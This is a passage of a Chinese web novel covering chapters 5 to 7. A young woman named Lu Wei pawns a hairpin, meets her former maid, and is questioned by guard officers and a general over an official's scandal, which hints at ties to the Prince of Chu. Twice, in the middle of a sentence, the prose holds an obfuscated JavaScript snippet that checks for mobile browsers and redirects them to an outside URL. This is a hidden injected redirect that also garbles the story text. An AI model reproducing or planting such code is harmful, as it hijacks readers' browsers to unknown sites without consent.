意外所得的步摇若不换成钱,露微也用不上,于是她隔日就去了一家邸店。虽然估不准价值几何,但白得的东西卖多少都是赚的,她便也不开价,任凭店家验看。 但凡在咸京开设邸店的商户,没有哪一家是少见识的,眼睛都毒的很,只稍稍一看便说: “小娘子,你这东西用材皆是金玉,只是工艺略显粗糙,式样也并不多见,不像咸京所产,倒像是南营州一带的风尚。” 露微自然不清楚步摇的来历,唯恐节外生枝,也不好反问,“店家好眼力,这原是我祖上去南边游历时带回来的,如今家贫无计,只好拿来典卖,见笑了。” 店家点点头,倒也没怀疑,“那这样,既是娘子祖传之物,我便先替娘子收了,若今后宽裕也可来赎。至于价格,一千钱可好?” 露微本不在意价钱,又听店家言辞厚道,便爽快答应了。 一时结算完毕,千钱并非小数,露微不便拎着游逛,便要先回住处安置。可一路走着无聊,又不觉琢磨起方才店家的话。 她虽是女子,却自来并不热衷妆扮,就更不关心什么风尚了。所以,直到那店家指出步摇的式样,她才细看是一只辟邪兽。辟邪是上古传说里的神兽,一向是贵族喜用的装饰。 单是如此倒也没什么,好歹王氏的夫君是从三品的高官。可店家又说这步摇产自南营州,不符合咸京时尚,这就令人好奇了。一则,像王氏这样三品之家的贵妇,不争奇斗艳就罢了,又岂有喜欢旧东西的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157236|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理?二来,在露微的印象中,杜石羽和王氏都是祖籍本地,而南营州偏远,不当与杜家有所交集。 想来想去消磨时间,露微不觉已走到了赵家街前。正门自然是不能靠近的,便要绕路去后巷,却一转身,视线的余角里晃过一个令她惊讶的身影—— “雪信?” 叫出名字的同时,露微也看清了那人的相貌,没认错,正是姚家的小婢,雪信。 “大夫人!” 这样的称呼,真是恍若隔世。露微这才细算,原来离开姚家也不过月余。她没有应声,带着一丝浅笑轻轻揽过雪信,将人一直带到了后巷,“你真聪明,怎么知道我在这里?” 雪信早已哭得泣涕如雨,极力忍住酸楚,说一字又一颤:“奴婢也不知道,只是趁着每次出来采买就来看一眼,心里能好受些,今天已经是第六回了。奴婢还以为再也见不到夫人了!” “以后不可这样称呼,许多事你都明白。”露微深吸了口气,笑容未减,“泽兰好吗?如今是二郎他们带在身边吧?” 雪信抹了把脸,用力点头:“小娘子一直康健,如今两岁快到了,二郎和夫人正给她准备生辰。她原是极会认人的,日日只要找你,一醒就阿娘阿娘的叫。” 露微不觉低下了眼睛,面上紧绷着,“那,你们不拦着,万一让老夫人听见,岂不又要责罚?” 雪信顿了顿,“老夫人已有多时不理事了,都是二夫人在当家。因为……因为,大郎他……” 露微才刚提醒过雪信,能明白她的言辞为难,可这话音又似乎不对,“你直说无妨,这段时间还能有什么大事吗?” “娘子走后第三天,大郎就从南边回来了,但他不像娘子以为的那样。老夫人同他说时,他生了好大的气,连砸了几个茶碗,把所有人都吓着了,后来老夫人也气病了。” 看雪信说得小心翼翼,露微却忽然笑了。她不是不信这话的真假,只是不信姚宜苏的举动是为她。 当日,姚宜苏是奉旨出京到南方诸州巡疗,一去便是连月。露微还记得他离家前的情形,一个素来沉稳持重的人忽然变得十分焦虑,常常夜里难眠,就对着窗外出神。露微自知无法靠近他的内心,便也无从问起,但一次无意的偷听却解开了所有的疑惑。 那是姚宜苏出发前一天的午后,露微才哄睡了小泽兰回来,还没走到正屋就听见姚宜苏和二郎的争执之声。声音并不激烈,也非姚宜苏声高,却是二郎字字深重,惊人心魄: “我劝阿兄还是清醒一些!舒青要再是与你青梅竹马,也早成往事。如今她是楚王妃,楚王是当今陛下的亲叔父,在宗亲之中颇有名望的。若阿兄当着楚王无法自控,后果可想过?!” 露微并非到这时才知姚宜苏心有所属,只是哪里能想到这女子的身份如此特殊,也不懂二郎为何要在此时提起来。于是,她便等二郎空闲时去追问,终于得知,原来姚宜苏接到的圣旨中还有一条特别的恩敕。 按照太医署的规章,每年都有一批医官被派往天下诸州巡疗,今年便轮到了姚宜苏。而恰逢此时,楚王身患顽疾,不得良医,奏请朝廷选派医师前去看疗。因楚王身份贵重,皇帝极为重视,便钦点了医术最为突出的姚宜苏。 所以,姚宜苏此去的重任并不在各州看疗,而主要是为远在南方封地的楚王诊治。既然能见楚王,也必有机会见到王妃,哪怕只是遥遥一面也能聊解相思了。 “娘子你笑什么?娘子?” 露微已经许久没有为姚宜苏陷入沉思了,回过神时却还作一笑,“你家长公子的心思难以捉摸,但至少肯定不是为我。” 雪信只是如实说自己看到的,并不敢揣测主人家的心意,便不再提,“奴婢刚刚就想问了,娘子额头的伤是怎么回事?是不是有坏人欺负你啊?” “这个啊,是……”露微摇了摇头,目光不觉放远,“不是被坏人欺负了,是我欺负了坏人,出了好一口恶气!” 雪信不禁睁大了眼睛:“真的?娘子原来这么厉害啊?” 露微长舒了口气,依然含笑:“我真的可厉害了!只是从前不想那么厉害。” 5.问底 自从见了雪信,说了那些话,别的都是一晃而过,却唯有小泽兰挂在了露微心头。 小泽兰是姚宜苏的庶女,生母金润娘则是姚宜苏乳母的女儿。当年露微嫁进门时,姚宜苏尚未纳金氏为妾,但半年后的一天,竟突然告诉露微,金氏怀孕了。 这对当时的露微来说简直就是奇耻大辱,因为姚宜苏虽然与她同床共枕,却从无夫妻之实。可她又能如何?即使金氏并不是一个恃宠而骄的人,她也毫无与之相争的底气。 然而,金氏到底不是一个有福之人。两年前的端午,怀孕才足八月的金氏突然临产,胎儿是倒生,无论产娘如何助力,金氏始终不能顺产。更不巧的是,当时宫中一位妃嫔待产,姚宜苏早两日就一直守在宫里。等他回来时,金氏早已出血不止,他拼了一身医术也只能保得孩子安产。 金氏死的时候不过十七岁,没来得及看孩子一眼,连是男是女都不知道。露微便是在那一刻忽生悲悯,望着那张沾着血迹的小脸,她就再也丢不开手了。 露微将孩子视作亲生,给她取名,逗她笑,哄她睡,凡事无不亲力亲为,就是金氏的母亲看了也挑不出任何差错。直到月余前离开,露微自知不能陪孩子长大,便将全部的嫁妆都托付给了雪信,让雪信将来悄悄添进这孩子的嫁妆里。 事到如今,露微并不想着再见孩子一面,因为见了也还是得分开,不如就让孩子慢慢断了念想。可除了这个,却还是能够做点什么。 小泽兰是端午的生日,端午常有佩戴长命缕的风俗。露微便想着买些五色丝线自己编织,等下次再见雪信,就能偷偷捎回姚家。 也是时节将近,不必走到远处,随便一条街市都有贩卖丝线的铺子。露微沉下心仔细挑着,一家连着一家,买了不少,眼睛看得酸疼,忍不住揉起来。 “嘿!卫月!” 冷不防的,露微的肩膀突然被人拍了下,眼睛正揉得犯重影,好一会儿才看清,“陆冬至?怎么是你们啊!” “你们”,另一个人,不出意外地是谢探微。 “我老远就看见你了,叫了半天你也不应!”陆冬至虽然像是埋怨,脸上却带了一副灿烂的笑容。 “呃,”露微不是听没听见的事,她是根本就忘记了一时捏造的假名字,“好巧啊,又见面了。” “不巧。”这二字出自谢探微之口,“我们一直在找你。” 露微脑中嗡的一下,迟钝了片刻才恢复思索:往日无冤,近日无仇,但——近日有个赌约,只能是这个赌约的事了。 “我跟你们说,”街上人来人往的,露微压低了声音,又举手挡了半张嘴,“我能做的都做了,没骗你们,你们可以去打听一下,那个杜石羽家里肯定闹翻了。” “果然是你!真的是你啊!” 陆冬至的声音直窜天灵盖,吓得露微一激灵,“你们……到底找我干嘛?不是那件事吗?” “是那件事。”谢探微用力瞥了陆冬至一眼,朝前迈了半步,“但不宜在此多说。” “那在哪里多说?有什么好说的!”露微压根就没想过后续的事。 “太平坊,将军府。” …… “来来来,多吃点,不要客气,都是你的!” 好端端的上街买丝线,如今却揣着一包丝线坐在金吾卫大将军的府里,露微不敢说是受到了威胁,毕竟一进门就被好吃好喝的伺候着。但,坐在她正对面的谢探微神情庄重,一点都不下饭。 “擦擦吧,口水都漏光了。”露微白了陆冬至一眼,把他端来的菜肴全推了回去,“你们到底想干什么?看样子你们定然都知道了,我也承认是我做的,还要如何?” “看你脾气大的,不吃我就真吃了?”陆冬至挑着眉,早已藏不住喜色,又瞄了眼谢探微,终于下筷,“哎呀,请你回来是座上宾,只是大将军还没回,再等一等嘛。” 露微自然知道重要人物尚未登场,可这府里的气氛怪道让人膈应:自阍房往里就没见过女婢,连刚刚从后厨上菜的都是男人,四下安静不闻人声,恐怕全部的下人一双手都数得过来。 “你不用害怕,若时辰晚了,我会安排车马送你归家,若你怕家人担心,我也可差人先行回去报信。” 这谢探微要么就冷眼旁观不说话,冷不丁说了还不如不说,每一句都正中露微的心虚处。“不必!岂敢!我等!” “哈哈哈,”陆冬至吃得停不下嘴,却忽一阵大笑,“谢探微,你克她,这丫头只有你能降服!” “你闭嘴!” 陆冬至猛一缩头,两只耳朵一边听了一声。 一时终于消停了,菜肴撤下,换上了一壶清茶。折腾了半日,露微其实早已饥渴,不好当着外人大吃大嚼,吃口茶倒也没什么。可谁曾想,刚端起来吃了一口,那二人“唰”的一下都站了起来。 “怎么……”露微一头雾水,但也不自禁地随着站了起来,再下一刻便也不用问了—— 厅堂门下进来一人,身披紫袍,手执玉笏,像松柏一般昂着首,面上整齐的须髯衬托着刚毅的轮廓,明明是一派萧肃风姿,却从双目之中倾出汩汩暖融的笑意。 这必然就是大将军晏令白了。 谢陆二人早已上前见礼,露微却收不回眼睛:原来,一个常年戍边的威武大将军竟不是通身透着杀气,教人不敢靠近的;原来,竟是这样一位仪容出众的大将军。 “卫月,你发什么呆呢?” 猝然间醒过神,那三双眼睛都盯着自己,露微又是一愣,这才忙着上去行礼,“将军万福。” “不必多礼。”晏令白仍是眉眼含笑,说着走到堂上,并不落座,却先示意闭上了门户。 露微见这架势不一般,心中难免琢磨:难不成杜石羽的事另有蹊跷?还是说自己那一通闹,竟闹出了什么天大的纰漏? “敢问将军,京兆尹杜石羽究竟怎么了?难道是我又连累了诸位?”她懒得打哑谜,索性直抒胸臆。可这一问,反又让那三人一惊,而又神色各异。 “你……”晏令白的反应更多是惊奇,“小丫头,你可否如实告诉我,你与那杜石羽之间究竟是何关系?你可知道,就在三天前,陛下因其私德不检而震怒,不仅当廷杖责,还罢了他的官。” 露微行事时只是想让杜家不得安宁,可怎么也没想到区区小计,竟能有这个力道!真的只是因为自己的原因? “是啊是啊,卫月,我可太佩服你了!”陆冬至已等不及了,忙接上腔,满脸的崇敬: “当日听说是有个小奴闹到杜家,说杜石羽的姘头要找他,他夫人听了火冒三丈,立刻就去捉奸了,闹得是沸沸扬扬,只隔了一天就传到了宫里。他先前还弹劾我们私德有亏,这么快就打了自己的脸,陛下岂能饶了他?” 这个描述倒也一点差,但露微不知该高兴,还是该尴尬,“我只是扮了那个小奴,其他的,我什么也没做。” “其他的也无需你做,一人传虚,万人传实,更何况是父母官的丑事。”谢探微一直看着露微,端量的目光里充满深意,“所以,你和杜石羽是早有过节吗?” 露微肯定不能说实话,可这个语气也够让人不舒服的,“既然我并没有连累你们,事情也有了结果,你们还在意什么呢?” “小丫头,你先莫恼。”晏令白看出了端倪,抚须一笑,走到了露微面前,“若他们有何不到之处,我替他们向你赔罪。想必你也知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166248|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们都是才从甘州来的,对咸京的事不甚了解,与杜府尹也不相熟,所以只是向你求教一二。” “将军言重了。”还是做大将军的人会说话,露微一下就舒畅了,心里也有了对策,“我自幼生长本地,街头巷尾听过很多闲话,这杜石羽一向好色,名声在外,他夫人又极为善妒,常常闹得家宅不安。我这次原就是想略施薄惩,没想到后果会这么严重。” “你这招叫隔山打牛,也叫蛇打七寸,打得太准了!” 陆冬至倒是个会捧场的,越发像是在听说书,听到妙处甚至想拍掌。可相反的,谢探微紧接着又来了: “既是他夫人一向善妒,却也没发现他蓄养外室,你又从何而知?你是杜家的人?” 露微忍不了了,也不惯着,立刻回怼道:“谢中候要是想审犯人,何必将我带到府上?我说了你又不信,不信便自己去查!也是我多管闲事,何苦为你出这口气!” 谢探微被吼得一愣一愣的,满脸只是疑惑,竟不懂露微何以至此。陆冬至则看傻了,唯一的反应就是扯了扯谢探微的袖子。而大将军晏令白一时也没作声,看向露微的眼神渐渐变得些许复杂,像是在思索极为精深的问题。 露微此时倒也不怕,心里撵着股劲,又有思量,继续说道:“我知道,你们刚从甘州上任,朝野颇有议论,定是不想横生枝节。可如今这个结果,我做的那点事,恐怕杜石羽自己都查不到痕迹,又怎么会怪到你们一帮外地人头上?” “卫月,你消消气,我们都不是这个意思。你为我们做了这么大的事,我们还想着明哲保身,怎么可能呢?” 话说到这个份上,露微也不是硬要抬杠,她也觉得像晏令白这般的人物,应该不至于如此胆小。她将目光又挪向了谢探微: “谢中候,先前在延寿坊偶遇,我便想问你此事详情,可你并不愿理睬。如今我一力承担了,你却反来刨根问底,难道什么事都要依着你的性子?你听好了,我最后再解释一句,我行事前也并不知从何入手,便跟踪了他一段时日,这才发现他另有外室。” 露微觉得谢探微的性子太过直接,必得把话说圆了才好,若今日不了结他这个心思,恐怕以后还有事端。 谢探微半天没有回应,脸上又是那副看不出情绪的样子,露微完全没兴趣探究,端正身子向晏令白拜了一礼: “将军,小女今日多有得罪,若无他事,就此告辞。” 话音未落,人已转身,晏令白本想劝慰,手悬停在半空,也根本不及多说。 “卫月!等等!等我一下!” 依旧是那个耐不住的陆冬至,眼看露微的背影远去,也匆匆向晏令白一拜,拔腿就追了出去。 …… 厅堂里只剩了父子二人,晏令白看向谢探微,皱起了眉头:“敏识啊,你刚刚是怎么了?为何说话咄咄逼人?” “我没有啊。”谢探微还是不解,没想到晏令白也这样想,“阿父,不是你叮嘱我凡事要谨慎吗? 好不容易找到她,我自然是想问清楚,若没有异常也就放心了。” 晏令白突然有些哭笑不得,也是头一次发现谢探微有这么不开窍的一面。他教导谢探微谨慎行事,只是因为年轻人涉世未深,难免不知分寸,哪里是让他用在这上头的。 “没错,这小女子确实很有胆识,也颇擅言辞,应对自如,是不大一般。可凡事无绝对,在弄清事实之前,你更应该以礼相待。莫如刚才,你那般态度,可达到目的了?” 谢探微又受教了,反思自己好像是有些急躁,却又略有不甘,“阿父,那我这样,真的不叫谨慎吗?” 晏令白终于一笑:“我看不像谨慎,倒像是紧张。” 6.赠药 陆冬至一路追到太平坊的坊门才把露微拦住,距离虽没多远,人已急得满头冒汗,喘吁吁就道: “哎呀!你不知道,我跟他认识十几年了,他从小就这样,认准了就直来直去的,心却不坏,你就多担待几分,别生气了。” 露微是一时之气,并不想去深究谢探微的为人,又见陆冬至一直态度诚恳,便也好言回道:“我其实无所谓,就事论事而已。不过,你们这样的身份,以后还是不要同我来往的好。” 陆冬至既能追出来,又哪里只是想替谢探微道歉,忙道:“你不想理他就算了,他是伯府长子,母亲还是个郡主,自是身份悬殊。可我就是一个连品阶都没有的武候,出身边州,自小是孤儿,还不如你呢!我就是很佩服你,觉得你聪明又讲义气,想交你这个朋友。” 这么听来,谢探微的脾性倒也能说得通了,可露微说的“身份”并不是指“出身”,可惜陆冬至没这个慧根,“罢了,随你。” 陆冬至立马露出了一口白牙:“那我以后就叫你阿月吧!阿月,你家住哪里?我送你回家。” “……倒也不必。”这突如其来的热情让露微招架不住,“男女有别,不太方便吧。” 陆冬至心思单纯,倒没想着这一点,“那就下次聊吧,我还听说了一些杜家的事,本来想边走边说给你取笑的,嘿嘿!” 依照杜家现在的情况,还能有什么趣事吗?露微突然有些心痒:“天时尚早,你不然先随便讲两句?” 陆冬至今日原是休假,更不赶时间,便立马来了劲头,“你不是说他那夫人善妒吗?可如今杜家没了官,不仅荣华富贵没她的份,连名分都没了!” “杜石羽还有闲心休妻?!” “是啊,要不说好笑呢,如今他家都成了整个咸京的笑话了。夫妻两个命里犯冲,冲得一份家业都没了。听说他夫人被休之后也只能寄居佛寺,在别处都抬不起头来。” 露微可一点都笑不出来,“这哪里好笑了?她固然是脾性不好,却是杜石羽不忠在先,这世上的规矩真奇怪得很!多的是惩罚女人的方法,却不需要男人付出多少代价!” “阿月,你这是……怎么了啊?” 露微泄了口气,扭过脸,抱起手,“没怎么,你可以回去了。” 陆冬至挠了挠头,虽不懂,却也不敢再惹露微,“好吧,那你路上——嗳?你什么时候来的?” 陆冬至说着正要回头,眼睛才一转,竟看谢探微笔直地站在坊门之下。自然,露微也随后看见了。 谢探微略显迟滞,先向陆冬至投了个眼神。陆冬至常常见他的眼色行事,早已轻车熟路,此刻眉毛一挑,大有幸灾乐祸的意思,憋着笑跑走了。 “谢中候还有何贵干?”露微也感到意外,但这人的神色与先前很不同,一时也捉摸不透。 谢探微上前了两步,忽然两臂一展,竟深揖了一个大礼,“卫娘子,谢某方才言语不周,特来向你道歉。” “你干嘛呀!!”露微惊得一跳脚,险些要喊救命,这人还真是——让人词穷! 谢探微直起身来还是一脸郑重,仿佛有满腹的话要说,又顿了顿,从身上摸出一个白瓷小瓶,“你的额头也是那天弄伤的吗?看上去有些红肿,应该及为治疗。” 露微屏着气息,生怕谢探微又做出什么惊人之举,可他又正常了,且过于正常,“多谢,已经快好了。” 谢探微轻摇头,“天气渐热,若不及时治疗,伤口溃烂恶变,有时是要命的,行伍之中常有此事,千万不可掉以轻心。”说着,他将握在掌心的白瓷瓶递了过去: “这是太医署专供咸京诸卫的金疮药,听说是一位叫姚宜苏的医官负责调配的,这位医官颇善治疗外伤,药效很是不错。你收下,一日两次外敷伤处便可。” 露微一时失神。 正如谢探微所言,姚家一脉相传,除了妇产女科,最擅治的便是外伤。露微见过姚宜苏从阎王手里抢回小泽兰的命,却从未在被责罚得血痕累累时,见过他的金疮药。 第一次见,竟是谢探微给的。 “既是军中专用,必是专治刀剑之伤,我这个实在不至于。多谢你的好意。”她现在也不需要了。 谢探微并未收回,也把露微脸上的黯淡之色看在了眼里,“卫娘子,你有什么为难之事吗?若方便告知,我一定尽力相助。” 露微到这时才觉察,原来谢探微也是个细心之人,她之前是有些武断了,“我帮了你,所以你也要帮我一次?我无事,你多虑了。”她笑着说,“既然陆冬至都叫我阿月了,你也别见外了。” 她决定从今天起牢牢记住这个假名字。 谢探微其实也听见陆冬至这么叫了,想了想,一点头,神色变得自然起来,“我和他所在的列队负责咸京西向的昼夜巡警,五日一休,若你有事,可按此找我。” 城西就是延寿坊一带,赵家所在的崇贤坊也在那一片,露微心里有数了,“我记下了。” …… 申时过后,夕阳渐晚,宵禁的鼓声顺时传来,一个绿袍的年轻官员骑着马在街道之间穿行,马蹄声与鼓声相契,笃笃然,最终一齐停下。年轻官员下了马,面前一座高大的门楼上端正缀了两个大字:姚府。原来,这郎君正是姚家的长公子,姚宜苏。 “阿郎回来了!”一个阍房小奴快步迎了出来。 姚宜苏将马鞭递过去,整了整衣冠,边问:“母亲的身体好些了吗?能否起身说话?” “阿郎下的药方管用着呢,老夫人已无大碍,午前还到花园逛了逛。” 姚宜苏慢步上阶,正要说什么,却见门楼下站着几个小婢,每人手里都捧着布料,“那是怎么回事?” 小奴很快回道:“小娘子生辰将至,二夫人选了衣料要给她做衣裳,阿郎到之前店家刚送来的。” 姚宜苏沉吟了片刻,脚步直往华氏院中而去。自从南方巡疗回来,他便从未主动去看过母亲,华氏病了几次,他也只是尽到医者之份,母子间并无深谈。 到时,华氏正在用饭,一见儿子官服未脱便来了,很是高兴,忙叫婢女添了副碗筷。然而,姚宜苏并不去同席,见礼之后只坐在了堂侧的杌凳上。 “大郎,你这是何故?”华氏脸上笑容一时都收了,“难不成你见我好了,又要来气我?” 姚宜苏端坐着,目光平视,“母亲的病原无大碍,但若长久思虑过甚,心气不平,迟早还是会伤身的。” “为娘的还不是为了这个家,为了你们兄弟。”华氏皱眉摇头,目光又透出一丝不屑,“你不是一向嫌恶那贱妇吗?为何出了趟远门竟变了?” “儿子上回还没说清楚吗?”姚宜苏声音低沉,眼睛缓缓转对华氏,“我与露微是结发夫妻,六礼齐备,明媒正聘,便是要离,也须拜过宗祠,请族中长辈为证。可母亲却趁我不在,擅自驱逐,我是不会承认的。” 华氏冷冷一笑,端足了身架,“请族中长辈作证有何难?如今贱妇早已离家,阖族上下又有谁会承认她?大郎,做娘的是不会害你的,依我姚家的名望和你现在的官声,想要什么样的千金淑女没有?为娘明日就可以去请媒……” “你敢!”姚宜苏猛一挥手打断了华氏,声高如惊雷,“母亲为我做得太多了,也错得太多了!许多事是我给母亲留着颜面,若一日宣扬出去,姚家还有什么名望,我还有什么官声!!” 华氏愕然失语,眼前的儿子满面狠厉,竟像是被恶鬼缠了身,她一点都认不得了。 “看来母亲是不记得了,我今日就替母亲数上一数。”姚宜苏目光越发凌厉,站起身直视着华氏: “两年多前,我应酬酒醉宿在书房,是你让润娘穿着紫衫来服侍我,所备的茶水中还添加了仙灵 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“老夫人年事已高,今后安居养息为宜,家中诸事暂付二夫人决断,任何人不得来打搅。” 留下这话,姚宜苏便拂袖而去。院外早有一个随从等候着,见他出来便上前禀报道: “阿郎,还是没找到。按道理,大夫人孤身上路脚程不快,就算早走了一个月,我们的人都是骑快马,沿着官道一路向南,也应该能追上。小奴觉得,会不会……” 姚宜苏思忖着道:“你是说,她有可能还在京中?” 随从点头道:“零陵路途遥远,没有三五个月走不到,或许大夫人也知困难,并没有追过去。” “那便继续找,分两路找,但动作轻些,小心行事,就算见到她也不要一时惊动。” “小奴明白,必第一时间告知阿郎。” …… 谢探微自小有夜读的习惯,除了行军打仗时顾不上,平时若不翻上几卷便无法入眠。可今日不知是怎么了,书拿在手里干瞪眼,心就是静不下来。 他索性丢了书卷,准备到院里练剑,可才提着长剑推开房门,眼前突然升起一个果盘,有青梅有樱桃,红绿相间堆成了小山。他无奈一叹,眼往下看: “陆冬至,你几岁了?” 陆冬至嘻嘻一笑,这才直起身子,“我睡不着,看你这里也没熄灯便来瞧瞧。别生气,我又不是空手来的。” 谢探微才不稀罕这盘果子,转回屋里放了剑。陆冬至自也跟进来,轻车熟路地坐到书案前,分出一半果子放在了茶盘里。 “对了,你和阿月后来说什么了?没说我坏话吧?”陆冬至边吃边说。 谢探微不料他张口就提这个,愣了下,“这话该问你,你都说我什么了?” 其实,陆冬至的一番发言有七八成都被谢探微听见了,关键之处一个字也没落下。 “我就跟她解释了一下,说你脾气直,说你出身好,然后没了,没说你坏话!”陆冬至还是埋头吃,既没看谢探微的脸色,也没觉察他话里的意思。 你倒是实诚——谢探微心里默道。 “以后不要随便和人提我的出身,没什么好说的。我和你一样,就是个边将出身的武官。” 陆冬至只是满口应声,“好好好,阿月现在也不算是外人了,我以后不出去乱说就是了。” 谢探微没再说话,倚靠在窗边,眼睛望着天幕一弯弦月。 陆冬至许久不闻回声,总算抬头看了一眼,却又一叹:“你啊,有时候就是太别扭。你若实在不想把阿月当朋友就别勉强,人家也未必有多介意啊。” “谁……谁说的?我没,没勉强!”谢探微突然结巴了。 “那你在纠结什么?大半夜的不睡觉,难道只是剑瘾犯了?” 谢探微也有被陆冬至堵得一句话也说不出来的时候。 7.赠缕 在住处闭关了多日,露微就一门心思地编织长命缕。可奈何,她所知的编法只有两种,一种是将五色丝线并拢后隔段打结;另一样则是当头打结,随后分三股交织。这两种都是最简单的。 便如此,她也没浪费一根丝线,练手似的编了一大把,但就这样交出去实在有点寒碜,泽兰大了岂不要笑话?琢磨了半晌,她想到了一个好办法:将丝缕送去昭成寺供奉,再求一串佛珠点缀在丝线里,这样也就不寒碜了。 这昭成寺并非咸京香火最盛的佛寺,但从前宋容常去,露微跟着去过几回。她还记得寺内环境十分清幽,楼阁殿宇,花草树木也都透着一股灵气,是个祈福的佳处。 说去就去,露微赶了一个大早。到时,庙内各处尚在洒扫,只见零星几个香客。供奉祈福的场所在正殿,她进去禀明了来意,添了香火钱,便将东西交给了守殿的小师父。 佛寺早课唱经总要一个时辰,干等无趣,露微便四处游逛去了。寺庙后山有一片桃林,现下已将春暮,桃花仿佛知道争艳的时日不多,一树比一树开得浓烈,深红浅红,奇香四溢。 “桃花春色暖先开,明媚谁人不看来。” 露微忽然想起诗句,不觉便吟诵出来。这桃林实在好看,她随意穿行其间,根本停不下眼睛,直到—— “谢中候?”花树掩映之处,忽然望见一个特别的身影。 “呃……是在下。”这个身影定住了,果然就是谢探微。 露微只觉巧极,忙从树后绕出来,“怎么在这儿也能看见你啊?” “你念的是前唐周朴的桃花诗。”谢探微答非所问了,像是不知从何开口,一说话便又低下了眼睛,要找什么东西似的,“我今日休假,随便逛逛。” 诗句出处说得不错,但前言不搭后语,也引人奇怪,“你早就看见我了是不是?” 谢探微耳后突然一热,嘴巴就张不开了,好在露微并未深究,又问道:“就你一个人?陆冬至呢?” 谢探微暗暗松了口气,“我出来早,他还在睡。” 露微想这倒是符合陆冬至的形象,一笑道:“这里不是咸京有名的佛寺,你一个人来也冷清,是怎么找到的?” “并非刻意而来,只是不觉走到了这里,也不算冷清,佛殿庙宇本该以清净为妙。那,你呢?” 提到来意,露微这才看了看天时,差不多了,“你若没有别的事,我们边走边说?” “好。”谢探微脱口就答应了,随即跟上了露微,只是走着走着忽又一顿,手缓缓摸向自己的脸——脸上有笑意,在笑什么呢?为什么要笑呢? 露微自顾在前头走着,没见谢探微这副模样,等走到大殿,也把事情说清楚了。殿内果然已经唱诵完毕,她从僧人手里拿回东西,谢探微就在门口候着。 “你们甘州过端午有什么风俗?”露微拿出几条丝缕对着谢探微晃了晃,“扬州呢?” “甘州与咸京迥异,以五月为不详,称为恶月,当地百姓会躲午,就是要将未满周岁的孩子送到外祖家躲避恶神。” 露微只知端午是个祈求安康的节日,咸京各处还会欢庆娱乐,没想到甘州是完全相反的,“那你岂不是从未好好过过端午?” 谢探微轻摇头,“扬州和咸京很像,我在家时是过过的。” 露微从谢探微的眼神中捕捉到一丝落寞,再一想,似乎就能猜到他独游至此的缘故了,“你想家了吧?” 谢探微却是一口否定:“没有,是小事,不至于。” 露微愣了下,倒也不便追问人家的私事,眼珠一转,把捧着的一包丝缕举了过去: “既然扬州和咸京差不多,那你也拿几个吧。我这手艺是不大行,但昭成寺却很灵,必能保佑你平安顺遂,步步高升!” 谢探微已经浑身僵住了,不知所措的心情达到了巅峰,垂在身侧的右手犹如提了千斤重物。可就在此时,露微突然看到了什么,脚步随目光追去,竟跑开了。 谢探微不明所以,慢一步也追了上去,两人一前一后穿廊过院,一直来到了寺院的厢房。但院前站定,露微又不敢靠近了。 “怎么了?那是谁?”谢探微顺势看过去,只见是一个穿戴清素的妇人,就像寻常香客,并无特别。 露微缓缓转脸:“她就是杜石羽的夫人,王氏。” 谢探微也知道杜石羽休妻的事,但此刻,他脑中关联起的却是露微在太平坊坊门下说的一段话:杜石羽不忠在先,可这世上的规矩却多在惩罚女人。他觉得,露微是心生同情之意: “事已至此,与你无关,你也管不了太多。” 露微倒也不是给自己揽罪名,只是有些感慨,王氏那时瞧着还是光鲜华丽,如今却憔悴惨淡至此,“据我所知,这王氏和杜石羽是少年结发,都过了半辈子了,怎么还能忍心呢。” 这个问题,谢探微毫无经验,他还没结过发,也体会不到“半辈子”的深刻,“或许,就是人心难测吧。”他只能想到这个词。 露微淡淡一笑,觉得这四个字倒是用得精当。 一时,没什么理由久留,两人便要离去。可才及转身,却有一个小婢匆匆而来,擦过露微的肩进了院子。露微便又回头看了一眼,只见那小婢还未站定就对王氏说道: “夫人,我打听到了,家君去了南营州,是去投靠什么旧友。这个人听说很厉害,万一能帮家君官复原职呢!” “怎么又是南营州!山高路远的,他以后哪里还会想起我啊?我今后可怎么办啊!” 就这三两句话,比起王氏至今还指望着杜石羽,露微更在意的是“南营州”三个字。她想起了王氏落下的那支步摇,当时邸店的人验看后也说是南营州所产,原来这其中颇有玄机。 “有什么不妥吗?”谢探微只见露微想得出神,等了好一会儿才轻声问了句。 露微深吸了口气,脑子里尚未理顺,但也不必瞒着谢探微,便将人带远,先把前情说了一遍。 “所以我先前一直不解,杜家怎么能和那么远的地方扯上关系。可现在又冒出来一个厉害的旧友,什么人能这么厉害,皇帝刚刚罢免的人他就敢帮?” 谢探微虽然年轻,也少涉官场,但出身经历摆在那里,见识是不同的,“南营州虽然偏远,但也是王化之地,设州县,牧百姓,与天下诸州并无区别。另外,南营州还是楚王的封府所在。” “楚王?!就是当今陛下的亲叔父,那个颇有声望的楚王?”露微上次听到这个名号还是在姚家,因为姚宜苏的心中人已成了楚王妃,二郎便在兄长临行前苦口告诫。 谢探微自然不解露微的反应,眉头微皱,“我只是如实告诉你南营州的情况,难道你竟怀疑杜石羽的旧友是楚王?” 若真是楚王,岂不就是楚王私交大臣,与皇帝作对了?露微心里一沉,想这误会可大了!大得吓人!忙便解释: “我哪里敢!我就是听街上人议论过,知道他是个贤王,也没想到你常年在甘州,还对南边的事如此了解。” 谢探微没再起疑,但神色却变得几分为难,“陆冬至和你提过吧?其实我,我母亲……是新安郡主,与楚王是堂兄妹,所以按辈分,楚王是我的舅父。” 